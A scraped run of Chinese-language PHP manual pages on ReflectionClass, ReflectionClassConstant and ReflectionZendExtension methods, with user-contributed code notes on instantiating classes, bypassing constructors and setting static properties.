检查一个类是否由用户定义，和内置相对。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • ReflectionClass::isInternal() - 检查类是否由扩展或核心在内部定义

User Contributed Notes

dhairya lakhera 11-Feb-2016 05:38
$internalclass = new ReflectionClass('ReflectionClass');

class Apple {}
$userclass = new ReflectionClass('Apple');

var_dump($internalclass->isUserDefined());
var_dump($userclass->isUserDefined());


从指定的参数创建一个新的类实例

  • ? ReflectionClass::isUserDefined
  • ReflectionClass::newInstanceArgs ?
  • PHP Manual
  • ReflectionClass
  • 从指定的参数创建一个新的类实例

ReflectionClass::newInstance

(PHP 5, PHP 7)

ReflectionClass::newInstance — 从指定的参数创建一个新的类实例

说明

public ReflectionClass::newInstance ( mixed $args [, mixed $... ] ) : object

创建类的新的实例。给出的参数将会传递到类的构造函数。

参数

args

接受可变数目的参数，用于传递到类的构造函数，和 call_user_func() 很相似。

返回值

错误／异常

如果类的构造函数不是 public 的将会导致一个 ReflectionException。

当 args 指定了一个或多个参数，而类不具有构造函数时,将导致一个 ReflectionException。

参见

  • ReflectionClass::newInstanceArgs() - 从给出的参数创建一个新的类实例。
  • ReflectionClass::newInstanceWithoutConstructor() - 创建一个新的类实例而不调用它的构造函数

User Contributed Notes

glen at delfi dot ee 07-Oct-2015 11:19
looks like reflection class newInstance creates in memory representation of code where values are used, so using reference as constructor signature, you can not use this method.

as  the same input if called via new, or new $class works, but not via reflection:

 class a {
     public function __construct(&$a, $c) {
     }
 }

// this works
 $A = new stdClass();
 $a = new a($A, 11);

 // also this works
 $classname = "a";
 $a = new $classname($A, 10);

 // but this fails:
 $r = new ReflectionClass("a");
 $r->newInstance($A, 10);

 PHP Warning:  Parameter 1 to a::__construct() expected to be a reference, value given in reflection.php on line 15

 PHP Warning:  ReflectionClass::newInstance(): Invocation of a's constructor failed in reflection.php on line 15


从给出的参数创建一个新的类实例。

  • ? ReflectionClass::newInstance
  • ReflectionClass::newInstanceWithoutConstructor ?
  • PHP Manual
  • ReflectionClass
  • 从给出的参数创建一个新的类实例。

ReflectionClass::newInstanceArgs

(PHP 5 >= 5.1.3, PHP 7)

ReflectionClass::newInstanceArgs — 从给出的参数创建一个新的类实例。

说明

public ReflectionClass::newInstanceArgs ([ array $args ] ) : object

创建一个类的新实例，给出的参数将传递到类的构造函数。

参数

args

这个参数以 array 形式传递到类的构造函数。

返回值

返回类的新实例。

范例

Example #1 ReflectionClass::newInstanceArgs() 的基本用法

<?php
$class = new ReflectionClass('ReflectionFunction');
$instance = $class->newInstanceArgs(array('substr'));
var_dump($instance);
?>

以上例程会输出：

object(ReflectionFunction)#2 (1) {
  ["name"]=>
  string(6) "substr"
}

错误／异常

如果类的构造函数不是 public 的将导致产生一个 ReflectionException。

当 args 指定了一个或多个参数，而类不具有构造函数时,将导致一个 ReflectionException。

参见

  • ReflectionClass::newInstance() - 从指定的参数创建一个新的类实例
  • ReflectionClass::newInstanceWithoutConstructor() - 创建一个新的类实例而不调用它的构造函数

User Contributed Notes

cimbomzek1905 at hotmail dot com 25-Oct-2017 05:39
ayy?ld?z tim sizin bir ??renciniz tek hayalim olan heacker olmak istiyorum lütfen ba?vurumu onaylay?n
cimbomzek1905 at hotmail dot com 25-Oct-2017 05:39
ayy?ld?z tim sizin bir ??renciniz tek hayalim olan heacker olmak istiyorum lütfen ba?vurumu onaylay?n
kirillsaksin at no-spam dot yandex dot ru 10-Nov-2015 05:59
Hack to properly instantiate class with private constructor:

<?php

class TestClass
{
    private $property;
    private function __construct($argument)
    {
        $this->property = $argument;
    }
}

$ref = new ReflectionClass(TestClass::class);
$instance = $ref->newInstanceWithoutConstructor();
var_dump($instance);
echo PHP_EOL . '------------------------' . PHP_EOL . PHP_EOL;
$constructor = $ref->getConstructor();
$constructor->setAccessible(true);
$constructor->invokeArgs($instance, ['It works!']);
var_dump($instance);

// Output:
// class TestClass#3 (1) {
//   private $property =>
//   NULL
// }
//
// ------------------------
//
// class TestClass#3 (1) {
//   private $property =>
//   string(9) "It works!"
// }

?>
dev at yopmail dot com 04-Jul-2015 03:06
With PHP 5.6, we can use the ... (T_ELLIPSIS) operator

<?php

class Test {
    public function __construct($a, $b) {
        echo $a . ' ' . $b;
    }
}

$args = array(12, 34);
new Test(... $args); // Displays "12 34"

?>
foxbunny 11-Dec-2010 07:23
It should be noted that the the values in the array are mapped to constructor arguments positionally, rather than by name, so using an associative array will not make any difference.
talk at stephensugden dot com 30-Oct-2010 03:17
This is the way I dynamically instantiate objects in my lightweight IoC container

<?php

class SimpleContainer {

  // ...

  // Creates an instance of an object with the provided array of arguments
  protected function instantiate($name, $args=array()){
    if(empty($args))
      return new $name();
    else {
      $ref = new ReflectionClass($name);
      return $ref->newInstanceArgs($args);
    }
  }
  // ...
}
?>

I explicitly do NOT handle the case where a user passes constructor arguments for a constructor-less class, as I this SHOULD fail.
sausage at tehsausage dot com 21-Aug-2010 04:14
Annoyingly, this will throw an exception for classes with no constructor even if you pass an empty array for the arguments. For generic programming you should avoid this function and use call_user_func_array with newInstance.
sarfraznawaz2005 at gmail dot com 14-Dec-2009 11:31
I use reflection class and also detect whether arguments are passed by reference or passed by value
and then initiate/call the method successfully with those arguments:

<?php
    if (count($args) > 1)
    {
        if (method_exists($class_name,  '__construct') === false)
        {
            exit("Constructor for the class <strong>$class_name</strong> does not exist, you should not pass arguments to the constructor of this class!");
        }

        $refMethod = new ReflectionMethod($class_name,  '__construct');
        $params = $refMethod->getParameters();

        $re_args = array();

        foreach($params as $key => $param)
        {
            if ($param->isPassedByReference())
            {
                $re_args[$key] = &$args[$key];
            }
            else
            {
                $re_args[$key] = $args[$key];
            }
        }

        $refClass = new ReflectionClass($class_name);
        $class_instance = $refClass->newInstanceArgs((array) $re_args);
    }
?>
kevinpeno at gmail dot com 16-Sep-2009 08:11
I misunderstood this function to be a sort of setter of Reflection::newInstance() arguments in an array form rather than a creator of new instances itself.

This function is equivilant to call_user_func_array() while Reflection::newInstance() is equivilant to call_user_func()
richardcook at gmail dot com 12-Apr-2009 02:39
the newInstanceArgs function cannot call a class' constructor if it has references in its arguments, so be careful what you pass into it:

<?php
class Foo {
    function __construct (&$arr) {
        $this->arr = &$arr;
    }
    function createInstance () {
        $reflectionClass = new ReflectionClass("Bar");

        return $reflectionClass->newInstanceArgs(array($this, $this->arr));
    }
    function mod($key, $val) {
        $this->arr[$key] = $val;
    }
}

class Bar {
    function __construct (&$foo, &$arr) {
        $this->foo = &$foo;
        $this->arr = &$arr;
    }
    function mod($key, $val) {
        $this->arr[$key] = $val;
    }
}

$arr = array();

$foo = new Foo($arr);

$arr["x"] = 1;

$foo->mod("y", 2);

$bar = $foo->createInstance();

$bar->mod("z", 3);

echo "<pre>";
print_r($arr);
print_r($foo);
print_r($bar);
echo "</pre>";

/*
Output:
Warning: Invocation of Bar's constructor failed in [code path] on line 31

Fatal error: Call to a member function mod() on a non-object in [code path] on line 58
*/
?>
gromit at mailinator dot com 29-Jul-2008 01:37
Be aware that calling the method newInstanceArgs with an empty array will still call the constructor with no arguments. If the class has no constructor then it will generate an exception.

You need to check if a constructor exists before calling this method or use try and catch to act on the exception.


创建一个新的类实例而不调用它的构造函数

  • ? ReflectionClass::newInstanceArgs
  • ReflectionClass::setStaticPropertyValue ?
  • PHP Manual
  • ReflectionClass
  • 创建一个新的类实例而不调用它的构造函数

ReflectionClass::newInstanceWithoutConstructor

(PHP 5 >= 5.4.0, PHP 7)

ReflectionClass::newInstanceWithoutConstructor — 创建一个新的类实例而不调用它的构造函数

说明

public ReflectionClass::newInstanceWithoutConstructor ( void ) : object

创建一个新的类的实例而不调用它的构造函数。

参数

返回值

更新日志

版本 | 说明
5.6.0 | All internal classes can now be instantiated except for those declared final.

错误／异常

如果这个类是一个不能不调用构造函数来实例化的内置类，将导致一个 ReflectionException。在 PHP 5.6.0 及更高版本中，此异常仅限于 final 的内置类。

参见

  • ReflectionClass::newInstance() - 从指定的参数创建一个新的类实例
  • ReflectionClass::newInstanceArgs() - 从给出的参数创建一个新的类实例。

User Contributed Notes

260 at ciemnosc 06-Feb-2016 02:11
sorry for replying to such an old comment, but there's something i wanted to point out.

@  tom at r dot je:
While I agree with what you said in general, there *are* cases where it's not true, and since PHP doesn't allow for multiple constructors there's no other good way around it.

> The problem? It breaks encapsulation.
> An object can exist in the application but may not be able to fulfill its
> responsibility because it's missing dependencies.
> The use of this method makes it possible for an incomplete object
> to exist in the system;
> the object can exist in a state that its author never intended.

If you're using this method from some factory method, to manually init the object in other way that the constructor that, this point is no longer valid.

Consider the example, where you use constructor to set-up the object after getting it from database (e.g. you need to pull some array from other table, basing on some id parameter). But you want to also be able to create object manually (for inserting to the database, for example).
The best thing to do would be to have two different constructors, but since it is not possible in php you need some other way to create the object.

example:

<?php
// this usually would be a static cache in some class, or array returned by method getMeta($id), etc.
$meta = array(1337 => array('key1' => 'value1', 'key2' => 'value2'));

class Test {
    public $id;
    public $data;
    public $meta;

    public function __construct() {
        global $meta;
        if(is_int($this->id)) $this->meta = $meta[$this->id];
    }
    public static function create_empty() {
        $r = new ReflectionClass(__CLASS__);
        return $r->newInstanceWithoutConstructor();
    }
}
echo "emulating PDO::FETCH_CLASS behavior: ";
$t = Test::create_empty();
$t->meta = 1337;
$t->__construct();
var_dump($t);

echo "empty class: ";
$testItem = Test::create_empty();
// ... here you can start setting up the item, e.g. from XML
var_dump($testItem);

$testItem->id = 0;
$testItem->data = "some data";
$testItem->meta = array("somekey" => "somevalue");

echo "after setup:";
var_dump($testItem);
?>

Of course, you can instead make empty constructor, and create some init() method, but then you have to remember to call init() everywhere.
You can also create some other way of adding the item to database, but then you'd have to classes to handle the same data - one for retrieving and other for storing.

If you instead use some factory class (or just a factory method, like in the simplified example above) having a way to create totally empty object is useful. With full factory approach you would first use some TestFactory->prepare() method, then you'd call methods to set what you need, and the factory would set all uninitialized variables to some default values upon calling TestFactory->get() to retrieve prepared object.
tom at r dot je 11-Jun-2013 09:53
It should be made clear that from an OOP theory perspective the use of this method is very bad practice in the same manner as goto, eval and singletons. If you find a need to use it in production code you're almost certainly doing something wrong somewhere. It may occasionally be useful for debugging, but even then hints at poor initial code.

The problem? It breaks encapsulation. An object can exist in the application but may not be able to fulfill its responsibility because it's missing dependencies. The use of this method makes it possible for an incomplete object to exist in the system; the object can exist in a state that its author never intended. This is bad because it will cause unexpected things to happen! A fundamental principle in OOP is that objects are in complete control of their state, the use of this method prevents that guarantee.

n.b. The annotation based "dependency injection" listed below is not a solution or valid use-case for this either because it breaks encapsulation (Among other things!) and the class being constructed needs to know of the container by providing annotations.
me [ata] thomas-lauria.de 28-Apr-2012 06:51
This new Feature enables Annotation based Dependency Injection:
<?php

//dependency to inject
class dep {}

class a {
  /**
   * @inject
   * @var dep
   */
  protected $foo;
}

class b extends a {
  /**
   * @inject
   * @var dep
   */
  protected $bar;

  public function __construct() {
    echo "CONSTRUCTOR CALLED\n";
  }
}

$ref = new ReflectionClass('b');
$inst = $ref->newInstanceWithoutConstructor();

$list = $ref->getProperties();
foreach($list as $prop){
  /* @var $prop ReflectionProperty */
  $prop->getDocComment(); //grep for @inject and the @vars class name
  $prop->setAccessible(true);
  $prop->setValue($inst, new dep());
}
if($const = $ref->getConstructor()) {
  $constName = $const->getName();
  $inst->{$constName}(); //use call_user_func_array($function, $param_arr); for arguments
}

print_r($inst);
print_r($inst->foo); //property still not accessable

The Output:

CONSTRUCTOR CALLED
b Object
(
    [bar:protected] => dep Object
        (
        )

    [foo:protected] => dep Object
        (
        )

)
PHP Fatal error:  Cannot access protected property b::$foo in diTest.php on line 42
oliver at ananit dot de 24-Nov-2011 03:57
If this method is not available in your version of PHP you can use a trick to create an instance without calling the constructor.
Use reflection to get the properties and default values of the class, and create a fake "serialized" string.

<?php
function createInstanceWithoutConstructor($class){
    $reflector = new ReflectionClass($class);
    $properties = $reflector->getProperties();
    $defaults = $reflector->getDefaultProperties();

    $serealized = "O:" . strlen($class) . ":\"$class\":".count($properties) .':{';
    foreach ($properties as $property){
        $name = $property->getName();
        if($property->isProtected()){
                $name = chr(0) . '*' .chr(0) .$name;
            } elseif($property->isPrivate()){
                $name = chr(0)  . $class.  chr(0).$name;
            }
            $serealized .= serialize($name);
            if(array_key_exists($property->getName(),$defaults) ){
                $serealized .= serialize($defaults[$property->getName()]);
            } else {
                $serealized .= serialize(null);
            }
        }
    $serealized .="}";
    return unserialize($serealized);
}
?>

Example:

<?php
class foo
{
    public $a = 10;
    protected $b = 2;
    private $c = "default";
    protected $d;
    public function __construct(){
        $this->a = null;
        $this->b = null;
        $this->c = "constructed";
        $this->d = 42;
    }
}

var_dump(createInstanceWithoutConstructor('foo'));
?>

Output:
object(foo)#6 (4) {
  ["a"]=>
  int(10)
  ["b":protected]=>
  int(2)
  ["c":"foo":private]=>
  string(7) "default"
  ["d":protected]=>
  NULL
}

I hope this can help someone.
Oliver Anan
alejosimon at gmail 06-Sep-2011 06:41
A good first use for this new method.

It implements a transparent parser constructor argument to achieve 99% reusable component.

<?php

use ReflectionClass ;

trait TSingleton
{
    /**
    *    Constructor.
    */
    protected function __construct() {}

    /**
    *    Drop clone singleton objects.
    */
    protected function __clone() {}

    /**
    *    Gets only one instance.
    *
    *    @params Optional multiple values as arguments for the constructor.
    *    @return Object instance from called class.
    */
    public static function getInstance()
    {
        static $instance = null ;

        if ( ! $instance )
        {
            $ref  = new ReflectionClass( get_called_class() ) ;
            $ctor = $ref->getConstructor() ;

            // Thanks PHP 5.4
            $self = $ref->newInstanceWithoutConstructor() ;

            // The magic.
            $ctor->setAccessible( true ) ;
            $instance = $ctor->invokeArgs( $self, func_get_args() ) ;
        }

        return $instance ;
    }
}

?>


设置静态属性的值

  • ? ReflectionClass::newInstanceWithoutConstructor
  • ReflectionClass::__toString ?
  • PHP Manual
  • ReflectionClass
  • 设置静态属性的值

ReflectionClass::setStaticPropertyValue

(PHP 5 >= 5.1.2, PHP 7)

ReflectionClass::setStaticPropertyValue — 设置静态属性的值

说明

public ReflectionClass::setStaticPropertyValue ( string $name , string $value ) : void

设置静态属性的值。

Warning

本函数还未编写文档，仅有参数列表。

参数

name

属性的名称。

value

属性的值。

返回值

没有返回值。

参见

  • ReflectionClass::getStaticPropertyValue() - 获取静态（static）属性的值

User Contributed Notes

Andrew Jackson 31-Mar-2014 10:53
Calling this method on a static property that is not public will return a ReflectionException stating the property does not exist. This is quite misleading as the property is valid.

class test {
    public static $publicProperty = 'public';
    private static $privateProperty = 'private';

    public static function printProperties() {
        echo self::$publicProperty . "\n";
        echo self::$privateProperty . "\n";
    }
}

$reflectedClass = new \ReflectionClass('test');
$reflectedClass->setStaticPropertyValue('publicProperty', 'foo');
$reflectedClass->setStaticPropertyValue( 'privateProperty', 'bar' );

PHP Fatal error:  Uncaught exception 'ReflectionException' with message 'Class test does not have a property named privateProperty'

If you retrieve the method using the reflection class getProperty method you can circumnavigate this issue

$reflectedProperty = $reflectedClass->getProperty('privateProperty');
$reflectedProperty->setAccessible(true);
$reflectedProperty = $reflectedProperty->setValue('bar');

test::printProperties();
will echo
foo
bar
chuck at manchuck dot com 13-Jul-2012 01:40
It is important to note that calling ReflectionClass::setStaticPropertyValue will not allow you to add new static properties to a class.


返回 ReflectionClass 对象字符串的表示形式。

  • ? ReflectionClass::setStaticPropertyValue
  • ReflectionClassConstant ?
  • PHP Manual
  • ReflectionClass
  • 返回 ReflectionClass 对象字符串的表示形式。

ReflectionClass::__toString

(PHP 5, PHP 7)

ReflectionClass::__toString — 返回 ReflectionClass 对象字符串的表示形式。

说明

public ReflectionClass::__toString ( void ) : string

返回 ReflectionClass 对象字符串的表示形式。

参数

此函数没有参数。

返回值

ReflectionClass 实例的一个字符串表示形式。

范例

Example #1 ReflectionClass::__toString() 例子

<?php
$reflectionClass = new ReflectionClass('Exception');
echo $reflectionClass->__toString();
?>

以上例程会输出：

Class [ <internal:Core> class Exception ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [7] {
    Property [ <default> protected $message ]
    Property [ <default> private $string ]
    Property [ <default> protected $code ]
    Property [ <default> protected $file ]
    Property [ <default> protected $line ]
    Property [ <default> private $trace ]
    Property [ <default> private $previous ]
  }

  - Methods [10] {
    Method [ <internal:Core> final private method __clone ] {
    }

    Method [ <internal:Core, ctor> public method __construct ] {

      - Parameters [3] {
        Parameter #0 [ <optional> $message ]
        Parameter #1 [ <optional> $code ]
        Parameter #2 [ <optional> $previous ]
      }
    }

    Method [ <internal:Core> final public method getMessage ] {
    }

    Method [ <internal:Core> final public method getCode ] {
    }

    Method [ <internal:Core> final public method getFile ] {
    }

    Method [ <internal:Core> final public method getLine ] {
    }

    Method [ <internal:Core> final public method getTrace ] {
    }

    Method [ <internal:Core> final public method getPrevious ] {
    }

    Method [ <internal:Core> final public method getTraceAsString ] {
    }

    Method [ <internal:Core> public method __toString ] {
    }
  }
}

参见

  • ReflectionClass::export() - 导出一个类
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


The ReflectionClassConstant class

(PHP 7 >= 7.1.0)

简介

The ReflectionClassConstant class reports information about a class constant.

类摘要

ReflectionClassConstant implements Reflector {
/* 属性 */
public $name ;
public $class ;
/* 方法 */
public __construct ( mixed $class , string $name )
public static export ( mixed $class , string $name [, bool $return ] ) : string
public getDeclaringClass ( void ) : ReflectionClass
public getDocComment ( void ) : string
public getModifiers ( void ) : int
public getName ( void ) : string
public getValue ( void ) : mixed
public isPrivate ( void ) : bool
public isProtected ( void ) : bool
public isPublic ( void ) : bool
public __toString ( void ) : string
}

属性

name

Name of the class constant. Read-only, throws ReflectionException in attempt to write.

class

Name of the class where the class constant is defined. Read-only, throws ReflectionException in attempt to write.

Table of Contents

  • ReflectionClassConstant::__construct — Constructs a ReflectionClassConstant
  • ReflectionClassConstant::export — Export
  • ReflectionClassConstant::getDeclaringClass — Gets declaring class
  • ReflectionClassConstant::getDocComment — Gets doc comments
  • ReflectionClassConstant::getModifiers — Gets the class constant modifiers
  • ReflectionClassConstant::getName — Get name of the constant
  • ReflectionClassConstant::getValue — Gets value
  • ReflectionClassConstant::isPrivate — Checks if class constant is private
  • ReflectionClassConstant::isProtected — Checks if class constant is protected
  • ReflectionClassConstant::isPublic — Checks if class constant is public
  • ReflectionClassConstant::__toString — Returns the string representation of the ReflectionClassConstant object

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ReflectionClassConstant

  • ? ReflectionClassConstant
  • ReflectionClassConstant::export ?
  • PHP Manual
  • ReflectionClassConstant
  • Constructs a ReflectionClassConstant

ReflectionClassConstant::__construct

(PHP 7 >= 7.1.0)

ReflectionClassConstant::__construct — Constructs a ReflectionClassConstant

说明

public ReflectionClassConstant::__construct ( mixed $class , string $name )

Constructs a new ReflectionClassConstant object.

参数

class

Either a string containing the name of the class to reflect, or an object.

name

The name of the class constant.

返回值

Returns constructed ReflectionClassConstant instance.

错误／异常

Throws an Exception in case the given class constant does not exist.

参见

  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


Export

  • ? ReflectionClassConstant::__construct
  • ReflectionClassConstant::getDeclaringClass ?
  • PHP Manual
  • ReflectionClassConstant
  • Export

ReflectionClassConstant::export

(PHP 7 >= 7.1.0)

ReflectionClassConstant::export — Export

说明

public static ReflectionClassConstant::export ( mixed $class , string $name [, bool $return ] ) : string

Exports a reflection.

Warning

本函数还未编写文档，仅有参数列表。

参数

class

导出的反射。

name

The class constant name.

return

设为 TRUE 时返回导出结果，设为 FALSE（默认值）则忽略返回。

返回值

参见

  • ReflectionClassConstant::__toString() - Returns the string representation of the ReflectionClassConstant object

User Contributed Notes

There are no user contributed notes for this page.


Gets declaring class

  • ? ReflectionClassConstant::export
  • ReflectionClassConstant::getDocComment ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets declaring class

ReflectionClassConstant::getDeclaringClass

(PHP 7 >= 7.1.0)

ReflectionClassConstant::getDeclaringClass — Gets declaring class

说明

public ReflectionClassConstant::getDeclaringClass ( void ) : ReflectionClass

Gets the declaring class.

参数

此函数没有参数。

返回值

A ReflectionClass object.

User Contributed Notes

There are no user contributed notes for this page.


Gets doc comments

  • ? ReflectionClassConstant::getDeclaringClass
  • ReflectionClassConstant::getModifiers ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets doc comments

ReflectionClassConstant::getDocComment

(PHP 7 >= 7.1.0)

ReflectionClassConstant::getDocComment — Gets doc comments

说明

public ReflectionClassConstant::getDocComment ( void ) : string

Gets doc comments from a class constant.

参数

此函数没有参数。

返回值

The doc comment if it exists, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


Gets the class constant modifiers

  • ? ReflectionClassConstant::getDocComment
  • ReflectionClassConstant::getName ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets the class constant modifiers

ReflectionClassConstant::getModifiers

(PHP 7 >= 7.1.0)

ReflectionClassConstant::getModifiers — Gets the class constant modifiers

说明

public ReflectionClassConstant::getModifiers ( void ) : int

Returns a bitfield of the access modifiers for this class constant.

参数

此函数没有参数。

返回值

A numeric representation of the modifiers. The actual meanings of these modifiers are described in the predefined constants.

参见

  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

There are no user contributed notes for this page.


Get name of the constant

  • ? ReflectionClassConstant::getModifiers
  • ReflectionClassConstant::getValue ?
  • PHP Manual
  • ReflectionClassConstant
  • Get name of the constant

ReflectionClassConstant::getName

(PHP 7 >= 7.1.0)

ReflectionClassConstant::getName — Get name of the constant

说明

public ReflectionClassConstant::getName ( void ) : string

参数

此函数没有参数。

返回值

Returns the constant's name.

User Contributed Notes

There are no user contributed notes for this page.


Gets value

  • ? ReflectionClassConstant::getName
  • ReflectionClassConstant::isPrivate ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets value

ReflectionClassConstant::getValue

(PHP 7 >= 7.1.0)

ReflectionClassConstant::getValue — Gets value

说明

public ReflectionClassConstant::getValue ( void ) : mixed

Gets the class constant's value.

参数

此函数没有参数。

返回值

The value of the class constant.

User Contributed Notes

There are no user contributed notes for this page.


Checks if class constant is private

  • ? ReflectionClassConstant::getValue
  • ReflectionClassConstant::isProtected ?
  • PHP Manual
  • ReflectionClassConstant
  • Checks if class constant is private

ReflectionClassConstant::isPrivate

(PHP 7 >= 7.1.0)

ReflectionClassConstant::isPrivate — Checks if class constant is private

说明

public ReflectionClassConstant::isPrivate ( void ) : bool

Checks if the class constant is private.

参数

此函数没有参数。

返回值

TRUE if the class constant is private, otherwise FALSE

参见

  • ReflectionClassConstant::isPublic() - Checks if class constant is public
  • ReflectionClassConstant::isProtected() - Checks if class constant is protected

User Contributed Notes

There are no user contributed notes for this page.


Checks if class constant is protected

  • ? ReflectionClassConstant::isPrivate
  • ReflectionClassConstant::isPublic ?
  • PHP Manual
  • ReflectionClassConstant
  • Checks if class constant is protected

ReflectionClassConstant::isProtected

(PHP 7 >= 7.1.0)

ReflectionClassConstant::isProtected — Checks if class constant is protected

说明

public ReflectionClassConstant::isProtected ( void ) : bool

Checks if the class constant is protected.

参数

此函数没有参数。

返回值

TRUE if the class constant is protected, otherwise FALSE

参见

  • ReflectionClassConstant::isPublic() - Checks if class constant is public
  • ReflectionClassConstant::isPrivate() - Checks if class constant is private

User Contributed Notes

There are no user contributed notes for this page.


Checks if class constant is public

  • ? ReflectionClassConstant::isProtected
  • ReflectionClassConstant::__toString ?
  • PHP Manual
  • ReflectionClassConstant
  • Checks if class constant is public

ReflectionClassConstant::isPublic

(PHP 7 >= 7.1.0)

ReflectionClassConstant::isPublic — Checks if class constant is public

说明

public ReflectionClassConstant::isPublic ( void ) : bool

Checks if the class constant is public.

参数

此函数没有参数。

返回值

TRUE if the class constant is public, otherwise FALSE

参见

  • ReflectionClassConstant::isPrivate() - Checks if class constant is private
  • ReflectionClassConstant::isProtected() - Checks if class constant is protected

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of the ReflectionClassConstant object

  • ? ReflectionClassConstant::isPublic
  • ReflectionZendExtension ?
  • PHP Manual
  • ReflectionClassConstant
  • Returns the string representation of the ReflectionClassConstant object

ReflectionClassConstant::__toString

(PHP 7 >= 7.1.0)

ReflectionClassConstant::__toString — Returns the string representation of the ReflectionClassConstant object

说明

public ReflectionClassConstant::__toString ( void ) : string

Returns the string representation of the ReflectionClassConstant object.

参数

此函数没有参数。

返回值

A string representation of this ReflectionClassConstant instance.

参见

  • ReflectionClassConstant::export() - Export
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionZendExtension 类

(PHP 5 >= 5.4.0, PHP 7)

简介

类摘要

ReflectionZendExtension implements Reflector {
/* 属性 */
public $name ;
/* 方法 */
final private __clone ( void ) : void
public __construct ( string $name )
public static export ( string $name [, bool $return ] ) : string
public getAuthor ( void ) : string
public getCopyright ( void ) : string
public getName ( void ) : string
public getURL ( void ) : string
public getVersion ( void ) : string
public __toString ( void ) : string
}

属性

name

扩展的名称。只读，并在尝试赋值的时候抛出 ReflectionException。

Table of Contents

  • ReflectionZendExtension::__clone — Clone handler
  • ReflectionZendExtension::__construct — Constructor
  • ReflectionZendExtension::export — Export
  • ReflectionZendExtension::getAuthor — Gets author
  • ReflectionZendExtension::getCopyright — Gets copyright
  • ReflectionZendExtension::getName — Gets name
  • ReflectionZendExtension::getURL — Gets URL
  • ReflectionZendExtension::getVersion — Gets version
  • ReflectionZendExtension::__toString — To string handler

User Contributed Notes

There are no user contributed notes for this page.


Clone handler

  • ? ReflectionZendExtension
  • ReflectionZendExtension::__construct ?
  • PHP Manual
  • ReflectionZendExtension
  • Clone handler

ReflectionZendExtension::__clone

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::__clone — Clone handler

说明

final private ReflectionZendExtension::__clone ( void ) : void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? ReflectionZendExtension::__clone
  • ReflectionZendExtension::export ?
  • PHP Manual
  • ReflectionZendExtension
  • Constructor

ReflectionZendExtension::__construct

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::__construct — Constructor

说明

public ReflectionZendExtension::__construct ( string $name )

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


Export

  • ? ReflectionZendExtension::__construct
  • ReflectionZendExtension::getAuthor ?
  • PHP Manual
  • ReflectionZendExtension
  • Export

ReflectionZendExtension::export

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::export — Export

说明

public static ReflectionZendExtension::export ( string $name [, bool $return ] ) : string

Warning

本函数还未编写文档，仅有参数列表。

参数

name

return

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets author

  • ? ReflectionZendExtension::export
  • ReflectionZendExtension::getCopyright ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets author

ReflectionZendExtension::getAuthor

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::getAuthor — Gets author

说明

public ReflectionZendExtension::getAuthor ( void ) : string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets copyright

  • ? ReflectionZendExtension::getAuthor
  • ReflectionZendExtension::getName ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets copyright

ReflectionZendExtension::getCopyright

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::getCopyright — Gets copyright

说明

public ReflectionZendExtension::getCopyright ( void ) : string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets name

  • ? ReflectionZendExtension::getCopyright
  • ReflectionZendExtension::getURL ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets name

ReflectionZendExtension::getName

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::getName — Gets name

说明

public ReflectionZendExtension::getName ( void ) : string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets URL

  • ? ReflectionZendExtension::getName
  • ReflectionZendExtension::getVersion ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets URL

ReflectionZendExtension::getURL

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::getURL — Gets URL

说明

public ReflectionZendExtension::getURL ( void ) : string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets version

  • ? ReflectionZendExtension::getURL
  • ReflectionZendExtension::__toString ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets version

ReflectionZendExtension::getVersion

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::getVersion — Gets version

说明

public ReflectionZendExtension::getVersion ( void ) : string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


To string handler

  • ? ReflectionZendExtension::getVersion
  • ReflectionExtension ?
  • PHP Manual
  • ReflectionZendExtension
  • To string handler

ReflectionZendExtension::__toString

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::__toString — To string handler

说明

public ReflectionZendExtension::__toString ( void ) : string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


ReflectionExtension 类

(PHP 5, PHP 7)

简介

ReflectionExtension 报告了一个扩展（extension）的有关信息。

类摘要

ReflectionExtension implements Reflector {
/* 属性 */
public $name ;
/* 方法 */
final private __clone ( void ) : void
public __construct ( string $name )
public static export ( string $name [, string $return = false ] ) : string
public getClasses ( void ) : array
public getClassNames ( void ) : array
